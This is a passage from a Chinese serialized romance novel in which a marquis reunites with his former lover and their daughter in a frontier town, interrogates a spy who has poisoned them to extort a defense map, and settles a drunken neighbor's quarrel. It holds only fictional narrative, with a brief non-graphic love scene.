这就答应了?阿妈果然没有骗她,让陆叔叔改口可得不少好处。希君不情不愿地喊:“阿爹。”
希君现在就是后悔,她应该再多要点的!
陆昀峥开心地将她搂在怀里,揉圆搓扁,玩得开心,逼着她一直叫阿爹。
希君受不了他,便嚷嚷要让他带着去买糖人。
父女俩开开心心去外头买糖人耍着玩,陆昀峥多带回来一个,塞到阿致嘴里。阿致正在洗碗,他让她坐一边去吃糖人,自己撸了袖子帮忙洗刷。阿致端了个小板凳,坐在他旁边。
陆昀峥问她:“怎么了?”
阿致捏着糖人咬一口,上半身轻轻一歪,靠在他肩膀上,很温暖:“快点洗。”
希君也粘过来,贴在陆昀峥后背上,学阿妈的语气:“快点洗。”
陆昀峥眼角眉梢都是笑。
这一刻,阳光也正好,照得满院子金灿灿的,让人感觉站在幸福的顶峰。阿致很想多停留在这一刻。
·
下午面馆忙起来时,陆昀峥想去前头给阿致打下手。
阿致嫌他碍手碍脚,便让他去后头的灶膛边上添柴和擀面。
有食客看到陆昀峥,胆子大的问一句:“小娘子,这是你夫君?”
陆昀峥一脸开心看着她。
阿致忙着收钱收碗,摇头:“不是。”
说完,她一回头,正好看到陆昀峥,他一脸震惊叠着厚厚的质疑。
阿致把收来的碗筷放在水盆里:“把这些都洗了。”
傍晚了,阿致想要早些收摊,最近几日她总是感觉有些累,喘不上气来,气血亏虚。她抽空去隔壁医馆看过,大夫只看出她确实有些亏虚,但也不严重,或许是水土不服,只说让她多休息。
陆昀峥也想着早些休息,他还想找某人算账。希君一直在闹,她知道今晚上外头有灯会,她拽着陆昀峥的衣袖:“阿爹,我要去玩!”
“好好好,去玩。”转头,陆昀峥安排罗三带着希君出门去。
希君这才知道,喊“阿爹”也未必有用。
她离开的时候,正看到阿妈和阿爹站在门口亲昵地头靠近头说什么,她瘪起了小嘴。
·
黑夜里,燃起蜡烛来,昏暗中透着橙黄的光芒。
面馆的大门关了,阿致在清点食材和账目,陆昀峥洗了碗,擦过手后,悄悄站到她身后,一伸手搂着她的腰:“不是你的夫君,嗯?”
阿致手中还捏着一只细毛笔,沾了笔墨,道:“本来我们也不是夫妻,没有拜堂成亲过。”
“在大漠上,我们拜过天地。”陆昀峥的脸侧贴着她的额头,“等我打完这一仗,我们便回到长安成亲。”
阿致提着笔的手一顿,眼睫毛眨了再眨,划掉账本上那一滴浓墨,继续记账。
35. 你要向我复仇
35
陆昀峥说完要回长安成亲,许久没有得到回应。
“不信我说的?”陆昀峥侧身过去,低头看着她的脸,她脸色如常,只是眼波过于平静。
阿致抬头看着他,轻声说:“不,我只是觉得这件事没有那么重要。”
“当年我们回到长安,为什么没有成亲?”陆昀峥轻轻捏着她的手,声音沙哑,“还有,你为何会离开,独自抚养希君?”
他能记起来的有限,他和阿致决定回去长安成亲之后的事,都不记得了。他很怕自己做了什么对不起她的事,梦里那个灰暗的傍晚,阿致转头过来看着他的凄婉神色,至今让他心痛不已。
阿致垂下眼,看着账本上那一滴浓墨,她道:“你父母不同意,而我也不愿意做妾。他们给我一笔钱,我便离开了。”
阿致说完,抬头看他的脸。
陆昀峥伸手,摸着她的脸,大拇指轻轻摩挲她眼下:“你不是贪钱的人。”
阿致垂下眼,眼睫毛软软地刷着他的指甲。睫毛弯翘,在烛光中投下影子,像是一只歇息的蝴蝶,又像是一张密密的网,遮住了她的心思。
“我父母不同意,我争取过吗?”陆昀峥握着她后腰的大手,慢慢收紧。
“那时你尚在父母的护佑下。即使忤逆父母,我们也不会成亲。”阿致深呼吸一口气,放下手中的账簿和毛笔,重新抬头看着他,伸手覆在他的手背上,轻轻捏住他干燥温热的手指:“我走的时候并不知道已经怀有身孕,你不必自责。”
“那后来知道为什么不告诉我?”陆昀峥双手捧着她的脸。
这些年她一个人抚养希君,应该是吃了许多苦头。为什么不告诉他呢?
阿致嘴唇轻轻动了下,声音很轻,如同一片羽毛落入了黑色的冷湖之中:“走之前,我从你父母那里拿过钱了。”
两人在黑夜中对视许久,陆昀峥一把将她抱在怀里,紧紧地禁锢在怀里:“一定是我做了对不起你的事。”
所以他自己也不敢想起来吧。
“那时候年轻气盛,我也做了许多对不起你的事。”阿致轻轻拍他的后背,“过去了便过去了。”
陆昀峥还想要追问,阿致的头微微后仰,亲吻着他的下巴。
陆昀峥没有动,阿致便垫脚,轻咬他的下唇,掌心贴在他的后脖颈处。这是人最薄弱到地方,也是关系中最容易产生联系的枢纽。她的掌心中是他炭火一样的热度。
阿致见他不动,索性后退半步,看着他,他的眼神意味不明。
她的眼眸晶亮。
陆昀峥一伸手将她搂在怀里,和她唇齿相贴还不够,伸手按她的后脑勺,将她一路逼退到后院房中,匆忙中撞得门栓哐当哐当。
房中一片漆黑,阿致被他推在软被上,她胳膊肘支撑在被子上,仍觉硌手,便往床里边退一些。陆昀峥则更进一步欺身过去。
软被上满是褶皱,阿致躺在褶皱之上,背靠在陆昀峥的怀里,看着帐幔上泛起的微微涟漪。
陆昀峥休息了一会,翻身贴紧她,伸手按在她光滑的右肩上,弯腰去吻她的脖子。
阿致如同颤栗在寒风中的树枝,风太大,被吹得上下摇摆不定。
喉咙干疼,她一下忍不住咳出来,咳得止不住。
陆昀峥捏着她肩膀的手止不住地颤,更加用力。
“疼。”阿致伸手搭在他的手背上,轻呼。
陆昀峥松了手上的力道,抓住她的手指,直起身子,吹了最后一阵狂风。
他将她抱在怀里,贴着她脖子上的热汗:“怎么样了,还难受吗?”
阿致勉强止住咳嗽,轻轻摇头。
陆昀峥起身去点燃蜡烛,坐在床边,将她挪到自己膝盖上,拉被子盖好,轻轻扒开她脸侧的发丝,又仔细查看她的脸色。
阿致伸手,摸了摸他的下颌:“不用担心,可能是最近起早吹了冷风。”
他看起来太严肃。
陆昀峥挤出一丝笑,在她额头上亲了一下:“好,你休息着,我去弄热水来。”
·
天还没亮时,陆昀峥听到极轻的敲门声,三下。
他披了外衣,轻轻开门,是罗三站在打了霜的院子里。
去到前厅的桌边坐下后,罗三禀报:“派人去滁县接于大夫,人已经接上了,但半路上有人截杀,毁了桥。兄弟们只能带着于大夫绕路走。再则,马上要下大雪,路上怕是要多耽搁两天。”
黑暗的前厅中,陆昀峥脸色晦暗不明:“贺忠的身份查得怎样了?”
“属下无能,还是没有头绪,现在只查到与其接头的,是个楼烦的细作。”
陆昀峥没说话,他放在桌上的手握紧:“加紧查。”
“是。”
这时候,后院传来咳嗽的声音,是希君。她咳嗽个不停,阿致正忙着哄她。
“侯爷,昨晚出去游玩时,小姐咳嗽得格外频繁。如今情况只怕越来越坏,要不要告诉夫人?”罗三谨慎地看着陆昀峥。
陆昀峥的手指轻轻叩在桌面上,不知道在思考什么:“先等于大夫过来。”
希君闹着要找阿爹,陆昀峥起身去后院,刚走到露天的院子里,一片片碎鹅毛般的雪片坠落下来,落在他的眉心。
他呼出的热气在空中快速消散。
所有的存在,是否都会这般快速消亡?
·
陆昀峥去到大狱,问狱卒:“审问得如何了?”
“回侯爷,刑具都上了一大半,他仍旧是一句话不说,不是哈哈大笑,就是吐口水。”狱卒把刑审记载的册子奉给陆昀峥。
陆昀峥拿着那册子过目,扔到一边,肉眼可见的怒气暴涨,他大步往关押重刑犯的审讯间走去。
这个房间比较大,四周摆满了各式刑具。那些黑色的铁具上,残留着鲜红色的血迹,以及无论怎样也擦不掉的黑色血壳,嵌在刑具的缝隙中。
火炉热烈燃烧着,火光照亮房间正中的那名男子,他一张方脸,细长的眼睛,浓眉,眉毛杂乱,头发脏兮兮地一片片贴在脸上,是贺忠。
前几日,发现有细作将布防图运出城的第一时间,陆昀峥派人审讯细作,分析运送布防图的路线,及时截获并调换了布防图。布防图十分精细,若是真落在楼烦手中,那这一仗凶多吉少。
经过排查细作的行踪,发现其与贺忠去过同一个青楼,两次。将贺忠抓来后,对于楼烦细作一事,他并不否认,甚至他还敢提出一个条件。
他私下对陆昀峥提出了一个条件:想要救妻女的性命,便将真实的布防图送到楼烦去。
原来他在来保宁的路上,给阿致下毒。这种毒比较特殊,在刚中毒的前几日,可通过男女亲密之交传播。贺忠就是想要通过阿致毒死陆昀峥。可惜,陆昀峥太过谨慎,贺忠的计划没有成功。
不过,贺忠赌对了,阿致和希君都是陆昀峥最在乎的人。中毒的妻女,对于陆昀峥来说很难舍弃。如果不能及时解毒,毒发身亡时七窍流血,非常痛苦。对于阿致和希君来说,她们只剩下不到一个月的时间。
“想好了没有,到底是要妻女的性命,还是要一战功成的名利?”贺忠看到独自而来的陆昀峥,火辣辣痛苦的皮肉上绽放出畅快的笑容。
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>靠墙有一张太师椅,陆昀峥坐上去,非常冷静,问:“你猜我选哪一种?”
贺忠冷笑:“你这种为了名利不择手段的人,有什么好装的?你最终还是会抛妻弃子!”
“你我素不相识,为何认为我会为了名利不择手段?”
贺忠吐他一口唾沫,可惜太远,只吐到陆昀峥的脚边:“你自己如何恶心,自己都不知么?”
陆昀峥起身,踩着那口唾沫,靠近他:“我还真不知,不如你直接告诉我。”
贺忠的脸色变了,抿紧嘴唇,一句话不肯再说。
陆昀峥和他废了许久的唇舌,贺忠仍旧不为所动:“你有本事就弄死我。”
他一副视死如归的壮士模样。
陆昀峥绕到他身后,俯看他这奄奄一息的模样,道:“你不是楼烦人,却要为楼烦人卖命。”
贺忠一惊,侧头看着陆昀峥。
陆昀峥继续道:“楼烦人偷了布防图,这么重要的物件只派了个弱女子冒险运出城,而武功高强的你却一直留在保宁城附近。”
贺忠咬紧牙关,盯着地面不做声。
“留在保宁城附近,并不是为了楼烦效命,而是因为你的目标在我。”陆昀峥轻轻挪步到侧面,正好看到贺忠轻轻眨动的眼睛,“你要向我复仇。”
·
早上的雪片越飞越大,阿致难得陪着希君躺床上。
希君咳嗽得小脸通红,没精打采看着窗外,问阿爹什么时候回来。
阿致的手放在她的小肚子上,安慰她:“不要担心,阿爹不会跑了,他以后和我们一起生活。”
“真的?”希君两眼亮晶晶的。
“嗯,你糊涂阿爹终于记起了阿妈。”
“记得阿妈?”希君睁大眼睛,“那他记得我吗?”
阿致被她逗笑了:“你阿爹以前都没有见过你,怎么记得你?”
希君半天不说话,嘴巴嘟起来。
·
晚上,雪积了厚厚一层,陆昀峥骑马回来,一身的风霜。
阿致燃着灯在后院纳鞋底,听到马蹄声,打开后门,放他进来,又给他拍掉大氅上的雪片:“希君正在生你的气。”
陆昀峥把马系到院子里放柴火的一个矮棚中,靠着火膛,然后又去房里哄希君,一把抱住床上的小祖宗:“是谁惹我们小聪明生气了?”
希君慢慢转过头来,打量他:“丧彪和土豆,你还记得吗?”
“丧彪?”陆昀峥想起来,在密县第一次见到这小丫头,她就是喊他丧彪。于是他道:“我是丧彪。”
希君的眼睛重新亮起来,十分激动,咳嗽着要从床上爬起来。
陆昀峥继续道:“那你是土豆?”
希君的眼睛暗淡下去,她重新躺在床上,背对着陆昀峥:“让我气死算了。”
说着,希君又是一阵咳嗽,眉毛都咳红了。
阿致刚好进来,伸手拍了拍希君的屁股:“尽学些不好的。”
陆昀峥道:“天天去医馆玩,什么人都能见到,当然什么都学。你以后少让她去医馆。”
他还上纲上线了,阿致想和他理论,正好前门被人拍得噼啪响:“你出来!”
是个男人的声音,力气还挺大。
陆昀峥拦住她:“我去看看。”
陆昀峥打开面馆前厅大门,大门口站着一个高大男人,江善守。陆昀峥认得他,那一日在医馆,他听说妻子美娘受伤,满脸焦灼地冲进来,鞋子都跑掉了一只。
此刻,他满身酒气,满面坨红,怒气冲冲,挥动着手臂,格外不耐烦,和平日里判若两人。
36. 慢慢来
36
门外雪地里,是醉酒的江善守,手中提着一个酒壶,整个人歪歪斜斜,满脸怒气,明显来找茬的。
陆昀峥拿着一盏蜡烛前去开门,看着他,一脸冷肃:“你让谁出来?”
江善守一脸吃惊,愣在原地。他听说那面馆的王娘子是个寡妇,带着女儿独居,怎么也没想到会冒出个高大男人来,往后踉跄一步,勉强站住。
“阿峥,怎么了?”阿致借着些微的烛火,往门外看。
看到雪地里的江善守,阿致心里一咯噔,她猜到是什么麻烦了。
江善守看到阿致,突然醒过来一般,忍着怒意道:“是你撺掇美娘出来做事?”
“我确实提了让她来帮工,不过,这也算不上撺掇吧。”阿致绕开陆昀峥,走到外头去。
大雪停了,只有细碎的雪花洒下来,就像粉末一样。从屋内到屋外,阿致浑身都绷紧了。
陆昀峥伸手去拉她的胳膊,阿致避开了他,迎着江善守看去。
茫茫雪地里,江善守的脸色难看到极点,看着阿致,眼珠子都快要瞪出来:“我家美娘是什么身体,你难道不知道?她身体不好,只能躺着才能活命。这些年我为了让她好好的,宁愿多打几份工,再累再苦也没有怨言。可你呢?你安的什么心?”
他这一番话吼完,左邻右舍冒出两颗头来,小声咕哝着:“怎么回事?”
一再被污蔑,阿致的怒气起来,但她极力忍耐着:“首先,请美娘来帮工,我只是一片好心,于我本人没什么好处。其次,我只是给了美娘这个提议,并没有胁迫她。再则,如果她和你都不同意,那此事便作罢。直接与我说一声便好了,不过小事一桩,没必要到我这里来闹事,闹得大家都难堪。”
她是真没料到,好心提出的建议,闹成这样。这江善守的行为也真是奇怪,区区小事闹成这样,仿佛生怕谁不知道他受尽委屈来珍爱娘子。
“你当然说是好心。”江善守冷哼一声,“谁要你的好心?我求你了吗?美娘跪下来求你了吗?你可怜我们,你以为是谁,是天王老子吗?”
“哗啦——”,江善守怒火中烧,将手中的酒瓶在门口摔碎。
周围冒出头看热闹的人越来越多,还有隐藏在黑暗里的“哎哟”声。
阿致看着江善守的脸,双手捏紧,抿着嘴唇不说话。
这麻烦比她想象的要难解决。
她确实不该插手别人家的事。陆昀峥伸手,轻轻按住阿致的肩头,将她往身后推,对江善守道:“等你酒醒了,我们再谈。”
这算是比较体面的结束方式,如果江善守同意的话。
江善守撸起胳膊上的袖子,露出大块肌肉,冷笑:“谈什么?谈怎么插手我们两口子的事?还是谈美娘有个好歹你们要负责?美娘要真出了什么问题,也只有我会心疼她,只有我!”
江善守拍着胸脯,信誓旦旦的痛心模样,额头青筋蹦起。
阿致一甩手,她不想忍了,重新站出去,和江善守面对面,只隔着一只胳膊的距离,她冷眼瞧着他:“本来不想说的,既然你非要利用我,闹得我这么没脸,那我就直说了。”
江善守看着她,愣住。
阿致道:“你口口声声说自己心疼妻子,担心她出来做事有问题,可你到底有几分真心?你只是不想成为抛妻弃子的坏人,你只是怕别人说你变心了、不在乎妻子而已。”
“你胡说。”江善守的脸涨得更红,他低着头,看到脚边酒壶的棕色碎片,后退一步。
一阵大风刮来,又开始下雪,落在江善守的黑色发髻上。
四周看热闹的人,方才还像是热水里冒出的泡泡,现在变成了一滩死水。四下寂静,只有嘶哑的风声。
“如果你不在乎别人的看法,只是觉得我的提议不妥,何必到我门前闹得天翻地覆,生怕别人不晓得你多心爱妻子的身体?”阿致说完,推着陆昀峥重新回去,“明日你酒醒了,来我这里,好生坐着再谈。”
“哐”,阿致关上了大门,叉着腰。
真的是把她气死了,她喝了一碗冷水,才把火气压下去。
阿致伸手扇着脖颈上的热汗。
陆昀峥坐在前头一张黑色木桌边,拍了拍身边的位置,说:“我有话要说。”
·
“以后,不要再管别人的事。”烛火中映照陆昀峥的脸。
阿致坐在他对面,冷静道:“你是说我多管闲事。”
陆昀峥低头,点头承认:“不管怎样,这是他们家的事。他们没有主动求助,即使我们好心帮忙,也是插手他们的生活。”
这话说的和江善守一样。
阿致垂眼看着桌面。
陆昀峥起身,坐到她旁边,牵着她冰冷的手:“我当然知道你是好心,我也知道你被人说多管闲事会难受。但事实如此。”
阿致看着两人握着的手,道:“我知道自己在多管闲事,给美娘提议之前,我就知道。所以我不难受,我只是没有预料到会发生刚才的事。”
“那你……”
“我是为了自己,想要争取一次。”阿致看着他。
“自己?”
“你还记得我阿妈吧。她就是病了两年走的。”阿致看着跳动的火苗,想起了年幼时,她守在阿妈病床边,“我阿妈没有机会治病,可是美娘有。不管怎样,江善守愿意给美娘治病,我特别希望美娘能有一个好的结局。美娘说因为她生病,把家里拖垮了,把丈夫拖垮了,她很自责内疚。我就想给她一点事,让她赚点钱,能减轻她的内疚,也能减轻江善守的负担,他们俩总还是圆满的夫妻。我做这些,都是为了圆我自己的梦。”
她不想看到这样曾经恩爱的夫妻变成怨侣。
陆昀峥看她垂着的眼角,将她拉到怀里抱着。
阿致的下巴轻轻搁在他肩膀上,看着黑暗的角落:“而且,我觉得一个人的经历总是有限,在困境中,借助别人的人生经验未尝不可。当初,没遇到你之前,我只会与父亲对抗,是你第一个告诉我,我已经足够强大,可以离开,而不是被动承受,再暴力打回去。阿峥,是你改变了我,我想美娘也需要这么一个契机,她需要认识到,如果她不想恨丈夫,还可以靠劳动养活自己。”
“我知道,我都知道。”陆昀峥声音嘶哑,胸口滞闷,紧紧抱着她,伸手轻轻抚摸她的后背。他想起来站在大庭广众之下被打的她,低头忍耐着。
因为自己受过伤,所以总是看不得别人受伤。
“我答应你,我只多管闲事这一次,往后就不再插手别人的事。还有——”阿致抱紧他的后腰,脖子后仰,和他脸对脸。
她脸上有泪水,眼神却是亮晶晶的,微笑着说,“阿峥,谢谢你。”
因为你,我变成了完全不同的人,拥有了完全不同的人生。
“也谢谢你。”陆昀峥轻轻贴到她的唇上,紧抱着失而复得的阿致。他发誓,绝对不会再失去她。
·
等到第二日傍晚,阿致也没等到江善守。
倒是隔壁有个成衣老板过来打听八卦:“小娘子,昨晚上那江郎看着真是吓人。”
阿致笑了笑没说话,对方两手揣在袄袖里,无趣地走了。
不一会,陆昀峥骑马“哒哒哒”地回来了。昨日晚间停了半夜的雪,早起又开始下,下了一整天,雪深达小腿肚子。
这一路不好走。
他下马后,将马系在一旁。阿致解开他脖子上的大氅:“你的马不牵到后头?”
“等会我去找江善守谈。”
“不用,他来我店铺里,我和他谈。”
陆昀峥伸手捧着她的脸,亲她的额头:“他不会来你店里,我去了结这事。”
“好吧。”阿致知道拗不过他,便抱着大氅去面馆里头,给他煮了一碗牛肉面,加了许多香菜。
陆昀峥吃完,出了一身的汗,随即骑着马出去了。他回来的路上,看到江善守在酒馆里。
江善守喝得迷迷糊糊,他趴在桌子上睡了会,酒醒了些,准备回去,看到来人,愣住了:“你——”
他不自觉后退半步,扶着土黄色的桌子。
“我们谈谈。”陆昀峥坐下来,让人上酒来,“这一顿我请。”
他这神色挺缓和的,不像是来报复,江善守扶着桌子慢慢坐下来,手按在膝盖上慢慢搓动:“昨日是我喝醉了胡闹,望侯爷和夫人见谅。”
“无碍,都是一场误会,说清楚就好了。”
正好有茶女过来,她站在一旁,问:“客官想要什么酒?”
这茶女长得白白净净,瘦长的脸,眼神清冷,推荐了几种酒。陆昀峥问过价钱,选了其中最便宜的,让她上两壶,顺便上几个小菜。
江善守主动道:“陆夫人是误会了我,我真心爱美娘,心疼她,宁愿倾家荡产去护她,只要她能在我身边。只是可惜……我没什么能耐,只有几分廉价的力气,终究护不住她。”
“江兄不必担心,夫人也只是一时气话。”陆昀峥道,“那日江夫人受伤,我见江兄紧张,一路急奔而来,鞋子掉了也没注意,便知道江兄是真心爱护妻子。”
被称作江兄,江善守的戒心彻底放下去,他不再客气,和陆昀峥互相敬酒:“承蒙侯爷瞧得起,愿意相信我,不然……”
两壶酒下肚,江善守又醉了。茶女中途上了几盘酒菜,陆昀峥多点了一壶酒。
江善守吃吃喝喝,肚子涨得打嗝,他整个人彻底放松,甚至对着陆昀峥掉起眼泪来。
旁边桌的是个书生,他从桌上拿起一块穿孔的黑色石头,嫌弃地挪了个桌儿。
江善守却毫无察觉一般,他掏心掏肺地陆昀峥道:“其实,侯爷你不知道,多年前,我与美娘一见钟情,情
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投意合,只觉得此生拥有彼此便圆满了。即使族中长老多次阻止,我们都认定彼此,坚定不移,觉得此生必然会和谐甜蜜到老。没想到,美娘这些年一直生病,药石无医,倾家荡产也治不好,我打着几份工也养不活这个家,肩头的压迫实在沉重,心头喘不过气来……只觉得老天爷为何要对我们如此残忍?”
陆昀峥坐在江善守身边,时不时给他倒酒,听着他絮絮叨叨,望着酒馆外头。
黑色的天幕下,是大片白色的雪地。狂风一遍遍卷来,一遍遍摧着门口的一棵四丈高的绿叶大树。
“咵——咵咵——咵”,整棵树倒下,在风雪之中。整整两日夜了,这棵树终究是倒了。
酒馆里的所有人,侧头望着那棵树的倒下,在寂静无声的夜里,它倒下的声音,让所有人心头一震。
这时候两个商人打扮的中年男人冲进酒馆来,拍着肩上、胸前的雪片,道:“这雪真大。”
“是啊,我听说昨晚上便有人家屋顶被压垮,有两个老人并一个小孩被砸死。一片雪花那么轻,两夜的雪花竟能压死人。”
“我还听说一个老头被冻死的。今年这大雪实在是奇,冷得人受不住。”
“是啊,保宁还从未下过这么大的雪,也不知道什么时候会停。”
“停了便要打仗了,我倒是希望这雪一直下。”
“一直下,你哪来的粮食吃?要我说,赶紧打完,赶紧太平。”
“哪有你说的那么容易?”
酒馆里重新恢复了热闹。
新来的那两人想要坐门口,好观赏外头的雪景。其中一人看到书生的黑色石头,伸手把玩起来:“这是什么东西,值钱吗?”
“呔!”那书生一把抢过那块黑色石头,贴在自己怀里仔细检查,“这是我家传的宝物,你怎敢如此轻怠?”
那商人落了面子也不羞,继续打探道:“即是传家的宝贝,你怎可随身携带?怕是根本不值钱吧。”
书生恼羞成怒,将银子往桌上一拍:“你一个商人懂什么?唯利是图。这可是我家洗砚池边的滴水穿石,必得随身带着,时时警醒自己。”
·
陆昀峥从风雪里回来,站在后院里系好马,一脸的冷肃。
“怎样了?”阿致拍了拍他的肩膀和胳膊,给他将厚厚的雪片打下来,又去灶台里给他打热水洗水泡脚。
陆昀峥的手一向很热,方才她摸到的却是一片冰冷。
“江善守不好好谈?”阿致有些担心他们两人起矛盾。
“不是。”陆昀峥坐在床边,脱下鞋子,转头看希君,她已经睡了,躺在被子里小小的一个人儿,时不时咳嗽一声。
陆昀峥侧身过去,轻轻握着希君的小手,温热的。
他眉头紧皱。
阿致端着水盆进来,道:“今日去医馆看了,只是普通的风寒,今晚给她喝过药。”
陆昀峥起身,一把将她抱住,头贴着她的胸口:“阿致。”
“怎么了?”阿致伸手摸着他的头,他的耳朵冻得冰冷。他今天很奇怪。
“方才我送江善守回去,去他家了。”陆昀峥看着黑暗中橙黄的火焰,“他家竟什么也没有,连蜡烛也没有,屋顶漏风。”
阿致轻轻抚捂着他的耳朵。美娘就确实家徒四壁,第一次去的人便会很震撼。
“江善守的女儿,是不是不能说话?”陆昀峥仍旧记得,那小女孩一脸惊恐地藏在暗中,紧紧贴在美娘身边。不知怎么的,那小女孩让陆昀峥想起了年幼的阿致,是不是也是如此。
方才,陆昀峥看着烂醉如泥的江善守,掏出身上所有的碎银子,拢共也没有多少,偷偷塞给了那个小女孩。和阿致说好不能多管闲事,最终忍不住多管闲事的,是他。
“嗯,她叫楚楚。”阿致轻轻点头。
“我小时候也是住在乡野,这样贫苦的生活也见过……或许是时间太久,已经忘了老百姓的日子到底有多难。”陆昀峥嘶哑着道,“阿致,我一定要打赢这一仗。”
“我知道。”阿致捧着他的脸,和他对视,“我知道你能做到,不过我们还有时间,抓住时机慢慢来。”
阿致的脸上带笑,陆昀峥看着她,眼角却划出一滴泪来。
“怎么了?”阿致有些着急。这可真是少见的很,他被陆老侯爷痛打几顿,从来都是一声不吭地忍着,从来不落泪。
陆昀峥将脸重新埋在她胸口,紧紧抱着她的腰:“脚冷。”
阿致被他气笑了:“你抱着我,脚就不冷了?”
阿致推开他,催他脱袜子泡脚。
陆昀峥突然说:“往后,江善守的事情,你别管了。”
“怎么了?”
“免得惹一身腥。”陆昀峥道。
“我知道。”阿致去给他找汗巾。
“江善守外头有人,已经有了首尾。”
37. 第 37 章
“有了首尾?”阿致转过身来,目瞪口呆,手中还拿着翻找出来的汗巾,“你听谁说的?”
“今晚上与他喝酒,有个茶女眼神总是不是粘在他身上,上菜时下腹也会不自觉贴着江善守,江善守似乎习以为常,没有避嫌。”
“这……确实有些过于亲昵。但这样下决断实在不妥当,有些人对此没有……”
“那茶女与其他客官没有贴身的,只与江善守特殊些。再则……”陆昀峥停顿了下,“晚间路过那酒馆时,我就看到江善守与那茶女眉目传情。方才美娘也说了,最近这些日子,江善守日日酒醉。”
阿致与陆昀峥并肩坐在床沿,脖颈慢慢垂下去,如同烈日下晒蔫的菜叶:“我原本以为他是真心爱美娘……”
说到这里,阿致噤声,她忽然意识到,他原是真心爱美娘的,只是日子久了,生活的担子太重,把感情磨成了这样难堪的模样。
一时间,房间里沉默得可怕。
陆昀峥从她手中捏过汗巾,先用热水打湿,放在她冰凉的手心里。
湿热的触感,让阿致回神过来,她皱眉喃喃道:“若是真的,美娘可怎么办……”
陆昀峥捏着她的手:“你看你,还是想要插手管别人的事。美娘二十多了,她不是孩子。如果真有什么后果,那是她自己应当承担的。你也要相信她能处理好自己的事。”
“我也不是可怜她,我就是觉得……如果我是她,与其蒙在鼓里,更愿意别人告诉我真相。”在阿致看来,这种丈夫出轨自己最后知道的事,就像是穿了一件后背破了的衣裳,满大街溜达,谁都知道但谁都不说,自己最后知道时羞愤至极。
陆昀峥脱了袜子,将脚泡到木盆里,终于松快了些:“你觉得她不知道,但枕边人有了二心,她怎会没有察觉呢?只是她身体不好,须得仰赖丈夫来养活自己和女儿,她便不敢想罢了。你可千万不能挑破,万一挑破,你让她往后还如何与丈夫过日子。”
“知道了,不会说的。美娘对丈夫情意未尽,外人怎么说也是没用的。”阿致捏着冷掉的汗巾,脸上还是不太开心,感叹道,“听说当年他们是真心相爱的,到如今竟是这般田地……”
陆昀峥也沉默了,拉住身边人的手,他突然就想起了酒馆门口那棵被狂风催倒的大树。
他们只是很幸运,没有持续的狂风摧折罢了。不然,谁能保证一定能比谁更长情呢?
·
阿致忙完了早点时间,她坐下来休息喘口气,最近总是觉得喘不过气来。相比于密县的时候,客官没那么多,可是她却更累了。
正在这个时候,美娘一瘸一拐走到了门口来。她腿脚不方便,在雪地里的姿势有点可笑,过于卖力,她吐出的热气一大片一大片,模糊了她脸上的尴尬。
美娘手里提着个葛布包着的小盒子,她站在面馆前,满脸通红,有些无所适从:“致娘,我……”
阿致招呼她进来坐,转身去倒了两杯热水。
美娘一瘸一拐坐下来,冷得搓手,问阿致有没有热汤。
阿致看了看她身上的单衣,转身去后面灶台,给她舀了一碗热汤。
美娘不好意思地端着热汤,喝了许久。阿致在一旁等着,端起热茶吹了吹,抿了一小口。
突然干咳起来,便放下了热茶。
美娘看了看那热茶,又看着阿致,给她道歉:“昨晚上我才知道,善守来找你的麻烦,实在不好意思。你本来是一片好心……”
“只是小事,而且都过去了。”
“多谢致娘你的理解。我给善守说了帮工赚钱的事,他担心我担心得不得了,生怕我生病。我看他那样担心,便心软了,觉得还是按他说的来比较好,万一真的生病了,或许花的钱更多。”美娘松了一口气,抬起眼来瞅阿致。
阿致的嘴唇紧抿,美娘竟然对自己丈夫深信不疑。
想起昨晚上陆昀峥提起的事,阿致有些愤怒,她无法想象,万一哪天美娘知道事实会作何想法。
阿致有一种冲动,想要当着美娘的面捅穿,但是最终咬着嘴唇许久,还是没说话,不再看美娘,而是看着美娘桌上的手指,她轻轻覆上去:“美娘,你不用有负担,我原本也只是建议,最终还是由你自己来决断。我唯一觉得不妥的,是你丈夫的处理方式,好好说就能解决的事,没必要闹成这样。”
“是是是是是——”美娘唯唯诺诺地,低着头,浑身弯垂着,就像是被挖了内脏后的死鱼,一点力气也没有。
美娘微微起身,她捏着手上的那个葛布包的小盒子,往阿致那边推:“我……”
阿致看她这模样,嘴唇嗫嚅许久,终究还是收回手,说:“好在江郎对你不错,前两日我碰到妙珍姐……就是帮我找这铺子的房牙,她说起你,分外羡慕。若是没什么意外,她也会和丈夫好生过日子,不用出来抛头露面这般辛苦。”
美娘紧张地捧着汤碗,接话道:“什么意外?”
“我也不知道,只知道是去世了。”阿致道,“妙珍姐也感叹,人生就是会有各种意外,人靠人也有靠不住的时候,女人还是要有一技之长。我便笑她是不是要拉我一起去做房牙。”
美娘愣了一下,随即讪讪点头:“是啊,我唯一幸运的就是善守对我如此宽容。”
“是啊,我们都有各自的幸运。”阿致也释然了,她问美娘要不要再加一点热汤。
美娘摇头,随即又点头。
阿致去后头给她加汤。
美娘愣愣坐在黑色四方小桌边上,看着旁边一杯水,被喝了一口的水。她突然抬手,将那杯水拿起来,泼在外面的雪地里。热水在雪地里像是一把锋利的刀,留下了一长条印迹。
阿致端着热汤回来时,美娘已经离开,提着那个葛布包裹的小盒子,艰难地在雪地里踽踽独行。
·
正午时分,陆昀峥独自吃完饭,回到幕府。往常这个时间,幕府里三三两两会有些人,今日却毫无人影。
陆昀峥慢慢走进去,正见到一个大红色长袍的矮个女子背对着他,欣赏厅堂正中的那一副画。一副普通的山水画,广阔的湖面上是飘渺的烟雨,一扁舟上是个弯腰撑杆的斗笠老翁。
那女子听到脚步声,转过身来,她身上还穿着一件贴身的干净盔甲,她昂首挺胸,翘嘴看他:“陆侯爷,好久不见。”
陆昀峥看到这张过于神采飞扬的脸,愣了一下,听到对方的声音才想起
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来在哪里见过。他坐到一旁的木椅上:“不好意思,你哪位?”
“你!”武娅禾气得叉腰,“前不久,在书斋见过的,武三小姐。”
“哦。”陆昀峥问她,“请问小姐此番有什么事指教?”
“我已经打听过了,陆侯爷你没有成婚。”武娅禾抬起下巴。
陆昀峥抬头看她。
武娅禾步伐轻快地坐在他身边,自信地看着他:“不如你我成亲,如何?”
陆昀峥眯眼看着她,她不像是在开玩笑。他的舌尖抵在上颚转了一圈:“多谢小姐好意,在下已有家室。”
“没有成婚的女子,不过是外室罢了。”武娅禾轻蔑地道,“你如此坦诚,那我便直说了,若是你娶了我,我父亲愿意解你燃眉之急。”
“哦?我倒是不知道自己有什么燃眉之急,劳烦三小姐于我说明。”陆昀峥的脸上带着笑,眼睛里却是厚厚的怒气。
